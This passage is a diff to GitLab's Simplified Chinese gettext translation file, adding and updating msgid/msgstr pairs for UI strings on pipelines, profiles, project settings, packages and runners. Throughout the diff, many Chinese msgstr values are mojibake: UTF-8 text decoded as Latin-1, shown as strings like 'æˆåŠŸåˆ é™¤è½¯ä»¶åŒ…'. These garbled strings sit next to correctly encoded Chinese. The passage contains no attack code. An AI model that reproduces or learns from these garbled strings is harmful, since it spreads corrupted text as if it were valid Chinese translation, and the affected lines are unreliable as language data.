msgstr "包类型必须是Maven"
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr "包类型必须是Nuget"
@@ -24376,14 +24768,14 @@ msgid "PackageRegistry|Package Registry"
msgstr "软件包注册表"
msgid "PackageRegistry|Package deleted successfully"
-msgstr ""
+msgstr "æˆåŠŸåˆ é™¤è½¯ä»¶åŒ…"
msgid "PackageRegistry|Package file deleted successfully"
msgstr "æˆåŠŸåˆ é™¤è½¯ä»¶åŒ…文件"
msgid "PackageRegistry|Package has %{updatesCount} archived update"
msgid_plural "PackageRegistry|Package has %{updatesCount} archived updates"
-msgstr[0] ""
+msgstr[0] "软件包有 %{updatesCount} 个存档更新"
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr "软件包由分支%{branch}上的%{link}æ交所更新,由æµæ°´çº¿%{pipeline}构建并于%{datetime}å‘布到库"
@@ -24514,6 +24906,9 @@ msgstr "找ä¸åˆ°é¡µé¢"
msgid "Page settings"
msgstr "页é¢è®¾ç½®"
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr "å¯ç”¨"
@@ -24610,9 +25005,6 @@ msgstr "通过于"
msgid "Password"
msgstr "密ç "
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr "密ç ï¼ˆç”¨äºŽå—密ç ä¿æŠ¤çš„ Elasticsearch æœåŠ¡å™¨ï¼‰"
-
msgid "Password (optional)"
msgstr "å¯†ç  (å¯é€‰)"
@@ -24686,7 +25078,7 @@ msgid "Paths can contain wildcards, like */welcome"
msgstr "路径å¯ä»¥åŒ…å«é€šé…符,如*/welcome"
msgid "Paths to protect with rate limiting"
-msgstr ""
+msgstr "使用速率é™åˆ¶ä¿æŠ¤çš„路径"
msgid "Pause"
msgstr "æš‚åœ"
@@ -24710,7 +25102,7 @@ msgid "Pending comments"
msgstr "待处ç†çš„评论"
msgid "Pending owner approval"
-msgstr ""
+msgstr "等待所有者批准"
msgid "Pending sync…"
msgstr "等待åŒæ­¥â€¦"
@@ -24865,6 +25257,12 @@ msgstr "æµæ°´çº¿%{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr "“%{dataTitle}â€çš„æµæ°´çº¿%{label}"
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr "æµæ°´çº¿ID"
@@ -25180,9 +25578,6 @@ msgstr "åˆå¹¶åŽçš„ YAML ä»…ä¾›æµè§ˆ"
msgid "Pipelines|More Information"
msgstr "更多信æ¯"
-msgid "Pipelines|No artifacts available"
-msgstr "没有å¯ç”¨çš„产物"
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr "尚未创建触å‘器。请使用上é¢çš„表å•æ·»åŠ è§¦å‘器。"
@@ -25220,7 +25615,7 @@ msgid "Pipelines|There are currently no pipelines."
msgstr "当å‰æ— æµæ°´çº¿ã€‚"
msgid "Pipelines|There was a problem with loading the pipeline data."
-msgstr ""
+msgstr "加载æµæ°´çº¿æ•°æ®æ—¶å‡ºçŽ°é—®é¢˜ã€‚"
msgid "Pipelines|There was an error fetching the pipelines. Try again in a few moments or contact your support team."
msgstr "获å–æµæ°´çº¿æ—¶å‡ºé”™ã€‚请ç¨åŽé‡è¯•æˆ–è”系支æŒå›¢é˜Ÿã€‚"
@@ -25312,6 +25707,9 @@ msgstr "无法获å–æµæ°´çº¿çŠ¶æ€ã€‚有关故障排除步骤,请å‚阅%{link
msgid "Pipeline|Created"
msgstr "已创建"
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr "日期"
@@ -25327,9 +25725,6 @@ msgstr "失败"
msgid "Pipeline|In progress"
msgstr "进行中"
-msgid "Pipeline|Key"
-msgstr "é”®"
-
msgid "Pipeline|Manual"
msgstr "手动"
@@ -25343,7 +25738,7 @@ msgid "Pipeline|Merged result pipeline"
msgstr "åˆå¹¶ç»“æžœæµæ°´çº¿"
msgid "Pipeline|No pipeline was triggered for the latest changes due to the current CI/CD configuration."
-msgstr ""
+msgstr "由于当å‰çš„ CI/CD é…置,没有触å‘任何æµæ°´çº¿å¯¼è‡´æœ€è¿‘çš„å˜åŒ–。"
msgid "Pipeline|Passed"
msgstr "已通过"
@@ -25367,7 +25762,7 @@ msgid "Pipeline|Raw text search is not currently supported. Please use the avail
msgstr "ç›®å‰ä¸æ”¯æŒåŽŸå§‹æ–‡æœ¬æœç´¢ã€‚请使用å¯ç”¨çš„æœç´¢ä»¤ç‰Œã€‚"
msgid "Pipeline|Run for branch name or tag"
-msgstr "è¿è¡Œåˆ†æ”¯å称或标签"
+msgstr "为分支å称或标签è¿è¡Œ"
msgid "Pipeline|Run pipeline"
msgstr "è¿è¡Œæµæ°´çº¿"
@@ -25420,12 +25815,12 @@ msgstr "触å‘者"
msgid "Pipeline|Triggerer"
msgstr "触å‘者"
-msgid "Pipeline|Value"
-msgstr "值"
-
msgid "Pipeline|Variables"
msgstr "å˜é‡"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr "查看æµæ°´çº¿"
@@ -25463,7 +25858,7 @@ msgid "Plain-text response to send to clients that hit a rate limit"
msgstr "å‘达到速率é™åˆ¶çš„客户å‘é€çš„纯文本å“应。"
msgid "Plan"
-msgstr ""
+msgstr "方案"
msgid "Plan:"
msgstr "计划:"
@@ -25564,17 +25959,20 @@ msgstr "请输入一个有效的å六进制(#RRGGBB或#RGB)颜色值"
msgid "Please enter a valid number"
msgstr "请输入有效的数字"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr "请输入或上传有效的许å¯è¯ã€‚"
msgid "Please enter your current password."
-msgstr ""
+msgstr "请输入您的当å‰å¯†ç ã€‚"
msgid "Please fill in a descriptive name for your group."
msgstr "请为您的群组填写æ述性å称。"
msgid "Please fill in a name for your topic."
-msgstr ""
+msgstr "请填写您主题的å称。"
msgid "Please fill out this field."
msgstr "请填写此字段。"
@@ -25591,9 +25989,6 @@ msgstr "请将所有现有项目è¿ç§»åˆ°æ•£åˆ—存储,以é¿å…安全问题并
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr "请注æ„,GitLabä¸æ供此应用程åºï¼Œæ‚¨åº”该在å…许访问之å‰éªŒè¯å…¶çœŸå®žæ€§ã€‚"
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr "请仅在安装æ’件åŽå¯ç”¨æœç´¢ï¼Œå¯ç”¨ç´¢å¼•å¹¶é‡æ–°åˆ›å»ºç´¢å¼•"
-
msgid "Please provide a name"
msgstr "请æä¾›å称"
@@ -25721,7 +26116,7 @@ msgid "Postman collection file path or URL"
msgstr "Postman 集åˆæ–‡ä»¶è·¯å¾„或 URL"
msgid "Potentially unwanted character detected: Unicode BiDi Control"
-msgstr ""
+msgstr "检测到å¯èƒ½ä¸éœ€è¦çš„字符:Unicode BiDi Control"
msgid "Pre-defined push rules."
msgstr "预定义的推é€è§„则。"
@@ -25834,8 +26229,8 @@ msgstr "按 %{key}-C å¤åˆ¶"
msgid "Prev"
msgstr "上一页"
-msgid "Prevent adding new members to project membership within this group"
-msgstr "ç¦æ­¢å‘当å‰ç¾¤ç»„中的项目添加新æˆå‘˜"
+msgid "Prevent adding new members to projects within this group"
+msgstr ""
msgid "Prevent auto-stopping"
msgstr "防止自动åœæ­¢"
@@ -26000,7 +26395,7 @@ msgid "Profile Settings"
msgstr "个人资料设置"
msgid "Profile failed to delete"
-msgstr ""
+msgstr "删除失败"
msgid "Profile image guideline"
msgstr "个人资料图片指å—"
@@ -26009,7 +26404,7 @@ msgid "Profile page:"
msgstr "个人资料页:"
msgid "Profile parameter missing"
-msgstr ""
+msgstr "é…置文件å‚数丢失"
msgid "ProfileSession|on"
msgstr "于"
@@ -26048,7 +26443,7 @@ msgid "Profiles|An error occurred while updating your username, please try again
msgstr "更新您的用户å时出错,请é‡è¯•ã€‚"
msgid "Profiles|An indicator appears next to your name and avatar"
-msgstr ""
+msgstr "在您的å字和头åƒæ—边显示一个指示器"
msgid "Profiles|Avatar cropper"
msgstr "头åƒè£å‰ª"
@@ -26116,8 +26511,8 @@ msgstr "与%{provider}断开连接"
msgid "Profiles|Do not show on profile"
msgstr "ä¸åœ¨ä¸ªäººèµ„料中显示"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "ä¸åœ¨ä¸ªäººèµ„料中显示与活动相关的个人信æ¯"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "编辑个人资料"
@@ -26137,15 +26532,15 @@ msgstr "输入您的密ç ä»¥ç¡®è®¤ç”µå­é‚®ä»¶æ›´æ”¹"
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr "输入您的代è¯ï¼Œè®©äººä»¬çŸ¥é“如何称呼您"
+msgid "Profiles|Expiration date"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr "过期的密钥无效。"
msgid "Profiles|Expired:"
msgstr "已过期:"
-msgid "Profiles|Expires at"
-msgstr "到期于"
-
msgid "Profiles|Expires:"
msgstr "过期:"
@@ -26185,15 +26580,18 @@ msgstr "用户å无效"
msgid "Profiles|Key"
msgstr "密钥"
+msgid "Profiles|Key becomes invalid on this date."
+msgstr ""
+
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
msgid "Profiles|Key can still be used after expiration."
msgstr "密钥到期åŽä»å¯ä½¿ç”¨ã€‚"
msgid "Profiles|Key usable beyond expiration date."
msgstr "密钥在过期日期åŽä»å¯ä½¿ç”¨ã€‚"
-msgid "Profiles|Key will be deleted on this date."
-msgstr "密钥将在此日期被删除。"
-
msgid "Profiles|Last used:"
msgstr "最近使用:"
@@ -26342,7 +26740,7 @@ msgid "Profiles|You don't have access to delete this user."
msgstr "您无æƒåˆ é™¤æ­¤ç”¨æˆ·ã€‚"
msgid "Profiles|You must accept the Terms of Service in order to perform this action."
-msgstr ""
+msgstr "您必须接å—æœåŠ¡æ¡æ¬¾æ‰èƒ½æ‰§è¡Œæ­¤æ“作。"
msgid "Profiles|You must transfer ownership or delete groups you are an owner of before you can delete your account"
msgstr "您必须转移所有æƒæˆ–删除这些群组,然åŽæ‰èƒ½åˆ é™¤æ‚¨çš„å¸æˆ·ã€‚"
@@ -26521,9 +26919,6 @@ msgstr "项目里程碑"
msgid "Project name"
msgstr "项目å称"
-msgid "Project name suffix"
-msgstr "项目å称åŽç¼€"
-
msgid "Project navigation"
msgstr "项目导航"
@@ -26602,6 +26997,9 @@ msgstr "星标用户"
msgid "ProjectOverview|Unstar"
msgstr "å–消星标"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "您已达到项目数é‡é™åˆ¶"
@@ -26645,7 +27043,7 @@ msgid "ProjectService|Enter new password."
msgstr "输入新密ç ã€‚"
msgid "ProjectService|Enter new token"
-msgstr ""
+msgstr "输入新令牌"
msgid "ProjectService|Issue URL"
msgstr "议题 URL"
@@ -26663,7 +27061,7 @@ msgid "ProjectService|Leave blank to use your current password."
msgstr "留空时,使用您当å‰çš„密ç ã€‚"
msgid "ProjectService|Leave blank to use your current token."
-msgstr ""
+msgstr "留空以使用您当å‰çš„令牌。"
msgid "ProjectService|Mock service URL"
msgstr "模拟æœåŠ¡URL"
@@ -26849,7 +27247,7 @@ msgid "ProjectSettings|Global"
msgstr "全局"
msgid "ProjectSettings|Highlight the usage of hidden unicode characters. These have innocent uses for right-to-left languages, but can also be used in potential exploits."
-msgstr ""
+msgstr "çªå‡ºæ˜¾ç¤ºéšè—çš„ unicode 字符的用法。这些对从å³åˆ°å·¦çš„语言无害,但也å¯ç”¨äºŽæ½œåœ¨çš„æ¼æ´žåˆ©ç”¨ã€‚"
msgid "ProjectSettings|Internal"
msgstr "内部"
@@ -26864,17 +27262,23 @@ msgid "ProjectSettings|LFS objects from this repository are available to forks.
msgstr "此仓库中的 LFS 对象å¯ä¾›æ´¾ç”Ÿã€‚ %{linkStart}我如何移除它们?%{linkEnd}"
msgid "ProjectSettings|Manage who can see the project in the public access directory."
-msgstr ""
+msgstr "管ç†è°å¯ä»¥åœ¨å…¬å…±è®¿é—®ç›®å½•ä¸­çœ‹åˆ°è¿™ä¸ªé¡¹ç›®ã€‚"
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr "管ç†å¤§åž‹æ–‡ä»¶ï¼Œä¾‹å¦‚音频ã€è§†é¢‘和图形文件。"
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr "åˆå¹¶æ£€æŸ¥"
msgid "ProjectSettings|Merge commit"
msgstr "åˆå¹¶æ交"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr "åˆå¹¶æ交与åŠçº¿æ€§åŽ†å²è®°å½•"
@@ -26944,6 +27348,9 @@ msgstr "需求"
msgid "ProjectSettings|Requirements management system."
msgstr "需求管ç†ç³»ç»Ÿã€‚"
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr "安全与åˆè§„"
@@ -26968,6 +27375,9 @@ msgstr "跳过的æµæ°´çº¿è§†ä¸ºæˆåŠŸ"
msgid "ProjectSettings|Snippets"
msgstr "代ç ç‰‡æ®µ"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr "åˆå¹¶æ—¶åŽ‹ç¼©æ交"
@@ -26989,6 +27399,12 @@ msgstr "目标项目"
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr "应用åˆå¹¶è¯·æ±‚建议时使用的æ交消æ¯ã€‚ %{link_start}了解有关建议的更多信æ¯ã€‚%{link_end}"
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr "在此派生项目中创建的åˆå¹¶è¯·æ±‚的默认目标项目。"
@@ -27044,7 +27460,7 @@ msgid "ProjectSettings|Visualize the project's performance metrics."
msgstr "å¯è§†åŒ–项目的性能指标。"
msgid "ProjectSettings|Warn about Potentially Unwanted Characters"
-msgstr ""
+msgstr "关于潜在的ä¸éœ€è¦çš„字符的警告"
msgid "ProjectSettings|What are badges?"
msgstr "什么是徽章?"
@@ -27137,7 +27553,7 @@ msgid "ProjectTemplates|Static Site Editor/Middleman"
msgstr "é™æ€ç«™ç‚¹ç¼–辑器/Middleman"
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
-msgstr ""
+msgstr "Tencent Serverless 框架/NextjsSSR"
msgid "ProjectTemplates|iOS (Swift)"
msgstr "iOS (Swift)"
@@ -27193,6 +27609,9 @@ msgstr "具有中å±æ¼æ´žçš„项目"
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr "未å¯ç”¨æ¼æ´žå’Œå®‰å…¨æ‰«æ的项目"
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr "具有写入æƒé™çš„项目"
@@ -27221,7 +27640,7 @@ msgid "ProjectsNew|Allows you to immediately clone this project’s repository.
msgstr "å…许您立å³å…‹éš†è¿™ä¸ªé¡¹ç›®çš„仓库。如果您计划推é€ä¸€ä¸ªçŽ°æœ‰çš„仓库,请跳过这个步骤。"
msgid "ProjectsNew|Analyze your source code for known security vulnerabilities."
-msgstr ""
+msgstr "分æžæºä»£ç æŸ¥æ‰¾å·²çŸ¥å®‰å…¨æ¼æ´ž."
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr "将外部仓库连接到GitLab CI/CD"
@@ -27251,7 +27670,7 @@ msgid "ProjectsNew|Description format"
msgstr "æè¿°æ ¼å¼"
msgid "ProjectsNew|Enable Static Application Security Testing (SAST)"
-msgstr ""
+msgstr "å¯ç”¨é™æ€åº”用安全测试 (SAST)"
msgid "ProjectsNew|Import"
msgstr "导入"
@@ -27269,7 +27688,7 @@ msgid "ProjectsNew|No import options available"
msgstr "没有å¯ç”¨çš„导入选项"
msgid "ProjectsNew|Project Configuration"
-msgstr ""
+msgstr "项目é…ç½®"
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "项目æè¿°%{tag_start}(å¯é€‰)%{tag_end}"
@@ -27400,6 +27819,9 @@ msgstr "å‡çº§"
msgid "Promote issue to an epic"
msgstr "将议题å‡çº§ä¸ºå²è¯—"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr "æå‡åˆ°å²è¯—"
@@ -27418,9 +27840,15 @@ msgstr "å‡çº§å¤±è´¥ - %{message}"
msgid "Promoted issue to an epic."
msgstr "将议题å‡çº§ä¸ºå²è¯—."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr "ä¸æ”¯æŒå‡çº§ã€‚"
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr "添加群组 Webhooks å’Œ GitLab ä¼ä¸šç‰ˆã€‚"
@@ -27608,7 +28036,7 @@ msgid "Protected environments"
msgstr "å—ä¿æŠ¤çš„环境"
msgid "Protected paths"
-msgstr ""
+msgstr "å—ä¿æŠ¤çš„路径"
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr "支æŒä¾‹å¦‚%{code_tag_start}*-stable%{code_tag_end}或%{code_tag_start}production/*%{code_tag_end} çš„%{wildcards_link_start}通é…符%{wildcards_link_end}。"
@@ -27749,7 +28177,7 @@ msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to dep
msgstr "æ示:%{linkStart}Auto DevOps%{linkEnd} 使用 Kubernetes 集群æ¥éƒ¨ç½²æ‚¨çš„代ç ï¼"
msgid "Provide a number our sales team can use to call you."
-msgstr ""
+msgstr "æ供一个我们的销售团队å¯ä»¥ç»™æ‚¨æ‰“电è¯çš„å·ç ã€‚"
msgid "Provider"
msgstr "æ供者"
@@ -27764,7 +28192,7 @@ msgid "Proxy support for this API is not available currently"
msgstr "æ­¤APIç›®å‰ä¸æ”¯æŒä½¿ç”¨ä»£ç†"
msgid "Pseudonymized data collection is disabled. When enabled, GitLab runs a background job to export pseudonymized CSVs of the GitLab database. The CSV files are then uploaded to your configured object storage directory."
-msgstr ""
+msgstr "匿å化数æ®æœé›†å·²ç¦ç”¨ã€‚该功能å¯ç”¨æ—¶ï¼ŒGitLab 会è¿è¡ŒåŽå°ä»»åŠ¡ï¼Œä»¥ç”Ÿæˆå…³äºŽæ•°æ®åº“的匿å化 CSV,并将这些 CSV 文件上传至预先é…置的对象存储目录。"
msgid "Pseudonymizer data collection"
msgstr "匿å化数æ®æ”¶é›†"
@@ -27781,6 +28209,9 @@ msgstr "公开 - 无需任何身份验è¯å³å¯è®¿é—®è¯¥é¡¹ç›®ã€‚"
msgid "Public Access Help"
msgstr "公开访问帮助"
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr "公共部署密钥(%{deploy_keys_count})"
@@ -27943,6 +28374,9 @@ msgstr "å‚è§é¡¹ç›® %{project_full_name}"
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr "总æ交次数:%{total_commits_count}"
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "季度"
@@ -27986,7 +28420,7 @@ msgid "Rate limit"
msgstr "速率é™åˆ¶"
msgid "Rate limit access to specified paths."
-msgstr ""
+msgstr "é™åˆ¶è®¿é—®æŒ‡å®šè·¯å¾„的速度。"
msgid "Rate limits can help reduce request volume (like from crawlers or abusive bots)."
msgstr "速率é™åˆ¶æœ‰åŠ©äºŽå‡å°‘请求é‡ï¼ˆä¾‹å¦‚æ¥è‡ªçˆ¬è™«æˆ–滥用机器人的请求)。"
@@ -28057,6 +28491,12 @@ msgstr "在目标分支上Rebaseæºåˆ†æ”¯ã€‚"
msgid "Recaptcha verified?"
msgstr "é‡æ–°éªŒè¯ï¼Ÿ"
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr "从手动é…置的 Prometheus æœåŠ¡å™¨æŽ¥æ”¶è­¦æŠ¥ã€‚"
@@ -28082,7 +28522,7 @@ msgid "Recent Searches Service is unavailable"
msgstr "最近æœç´¢æœåŠ¡ä¸å¯ç”¨"
msgid "Recent events"
-msgstr ""
+msgstr "最近事件"
msgid "Recent jobs served by this runner"
msgstr "此Runner最近执行的作业"
@@ -28157,9 +28597,6 @@ msgstr "é‡æ–°ç”Ÿæˆå®žä¾‹ ID,å¯èƒ½ä¼šæ‚¨ä½¿ç”¨çš„部分客户端的集æˆå¤±
msgid "Regex pattern"
msgstr "正则表达å¼"
-msgid "Region that Elasticsearch is configured"
-msgstr "å·²é…ç½®Elasticsearch的区域"
-
msgid "Register"
msgstr "注册"
@@ -28326,6 +28763,9 @@ msgstr "删除%{displayReference}"
msgid "Remove Zoom meeting"
msgstr "删除Zoom会议"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr "移除访问æƒé™"
@@ -28353,6 +28793,9 @@ msgstr "删除资æºé“¾æŽ¥"
msgid "Remove assignee"
msgstr "删除指派人"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "删除头åƒ"
@@ -28362,6 +28805,12 @@ msgstr "删除å¡ç‰‡"
msgid "Remove child epic from an epic"
msgstr "从å²è¯—中删除å­å²è¯—"
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr "删除部署密钥"
@@ -28479,15 +28928,15 @@ msgstr "已删除里程碑%{milestone_reference} 。"
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr "已删除 %{reviewer_text} %{reviewer_references}。"
-msgid "Removed %{type} with id %{id}"
-msgstr "已删除 %{type} 的 id %{id}"
-
msgid "Removed all labels."
msgstr "已删除所有标签。"
msgid "Removed an issue from an epic."
msgstr "从å²è¯—中移除了一个议题。"
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr "已删除的群组无法æ¢å¤ï¼"
@@ -28503,6 +28952,9 @@ msgstr "已删除截止日期."
msgid "Removed time estimate."
msgstr "已删除时间估计。"
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr "已删除但尚未永久删除的项目在此处å¯è§ã€‚"
@@ -28564,7 +29016,7 @@ msgid "Renew subscription"
msgstr "续订"
msgid "Renews"
-msgstr ""
+msgstr "续订"
msgid "Reopen"
msgstr "é‡æ–°æ‰“å¼€"
@@ -28572,6 +29024,9 @@ msgstr "é‡æ–°æ‰“å¼€"
msgid "Reopen %{issueType}"
msgstr "é‡æ–°å¼€å¯%{issueType}"
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "é‡æ–°å¼€å¯å²è¯—"
@@ -28596,6 +29051,9 @@ msgstr "é‡å¤"
msgid "Replace"
msgstr "替æ¢"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr "æ›¿æ¢ %{name}"
@@ -28771,6 +29229,9 @@ msgstr "å¹³å‡è¦†ç›–率"
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr "过去 30 天的平å‡æµ‹è¯•è¦†ç›–率"
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr "覆盖率"
@@ -28792,6 +29253,9 @@ msgstr "历å²æµ‹è¯•è¦†ç›–率数æ®åŽŸå§‹æ ¼å¼(.csv)已就绪,å¯ä¾›è¿›ä¸€æ­¥
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr "覆盖范围内的作业"
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr "最新更新"
@@ -28810,6 +29274,9 @@ msgstr "请选择è¦æ˜¾ç¤ºçš„项目。"
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr "覆盖范围内的项目"
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr "测试代ç è¦†ç›–率"
@@ -28888,14 +29355,14 @@ msgstr "仓库åŒæ­¥å¹¶å‘é™åˆ¶"
msgid "Repository update events"
msgstr "仓库更新事件"
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
-msgstr "仓库: %{counter_repositories} /Wikis: %{counter_wikis} /构建产物: %{counter_build_artifacts} /LFS: %{counter_lfs_objects} /代ç ç‰‡æ®µ: %{counter_snippets} /软件包: %{counter_packages} /上传: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
msgstr "选择"
msgid "Request"
-msgstr ""
+msgstr "请求"
msgid "Request Access"
msgstr "申请æƒé™"
@@ -28903,6 +29370,12 @@ msgstr "申请æƒé™"
msgid "Request a new one"
msgstr "请求一个新的"
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr "请求详情"
@@ -28924,6 +29397,9 @@ msgstr "已请求"
msgid "Requested %{time_ago}"
msgstr "请求的 %{time_ago}"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr "请求的设计版本ä¸å­˜åœ¨."
@@ -28963,6 +29439,9 @@ msgstr "所需核准(%{approvals_given}完æˆï¼Œæ‚¨å·²æ‰¹å‡†)"
msgid "Required in this project."
msgstr "在此项目为必须。"
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "需求%{reference}已添加"
@@ -28986,11 +29465,11 @@ msgstr "需求å¯ä»¥åŸºäºŽç”¨æˆ·ã€åˆ©ç›Šç›¸å…³è€…ã€ç³»ç»Ÿã€è½¯ä»¶æˆ–您认为
msgid "Requires %d approval from eligible users."
msgid_plural "Requires %d approvals from eligible users."
-msgstr[0] ""
+msgstr[0] "需è¦%d个符åˆæ¡ä»¶çš„用户的批准。"
msgid "Requires %{count} approval from %{names}."
msgid_plural "Requires %{count} approvals from %{names}."
-msgstr[0] ""
+msgstr[0] "éœ€è¦ %{count} 个æ¥è‡ª %{names} 的批准。"
msgid "Requires values to meet regular expression requirements."
msgstr "需è¦å€¼åŒ¹é…正则表达å¼ã€‚"
@@ -29028,6 +29507,9 @@ msgstr "é‡ç½®æŽˆæƒå¯†é’¥"
msgid "Reset authorization key?"
msgstr "é‡ç½®æŽˆæƒå¯†é’¥ï¼Ÿ"
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr "é‡ç½®ç­›é€‰å™¨"
@@ -29201,7 +29683,7 @@ msgid "Review requested from %{name}"
msgstr "æ¥è‡ª%{name}的审核请求"
msgid "Review requests for you"
-msgstr "审核您的请求"
+msgstr "您的审核请求"
msgid "Review the changes locally"
msgstr "在本地查看更改"
@@ -29223,7 +29705,7 @@ msgstr "å¯ç”¨å®¡é˜…应用"
msgid "Reviewer"
msgid_plural "%d Reviewers"
-msgstr[0] "%dä½å®¡æ ¸è€…"
+msgstr[0] ""
msgid "Reviewer(s)"
msgstr "审核者"
@@ -29342,6 +29824,9 @@ msgstr "Runner页é¢."
msgid "Runners|Active"
msgstr "å¯ç”¨"
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr "Amazon Linux 2 Docker HA,具有手动扩展和å¯é€‰è°ƒåº¦åŠŸèƒ½ã€‚ %{percentage} 点。"
@@ -29358,13 +29843,13 @@ msgid "Runners|Are you sure you want to delete this runner?"
msgstr "确定è¦åˆ é™¤æ­¤runnerå—?"
msgid "Runners|Associated with one or more projects"
-msgstr ""
+msgstr "与一个或多个项目关è”"
msgid "Runners|Available to all projects"
-msgstr ""
+msgstr "适用于所有项目"
msgid "Runners|Available to all projects and subgroups in the group"
-msgstr ""
+msgstr "适用于群组中的所有项目和å­ç»„"
msgid "Runners|Can run untagged jobs"
msgstr "å¯ä»¥è¿è¡Œæœªæ ‡è®°çš„作业"
@@ -29376,7 +29861,7 @@ msgid "Runners|Copy instructions"
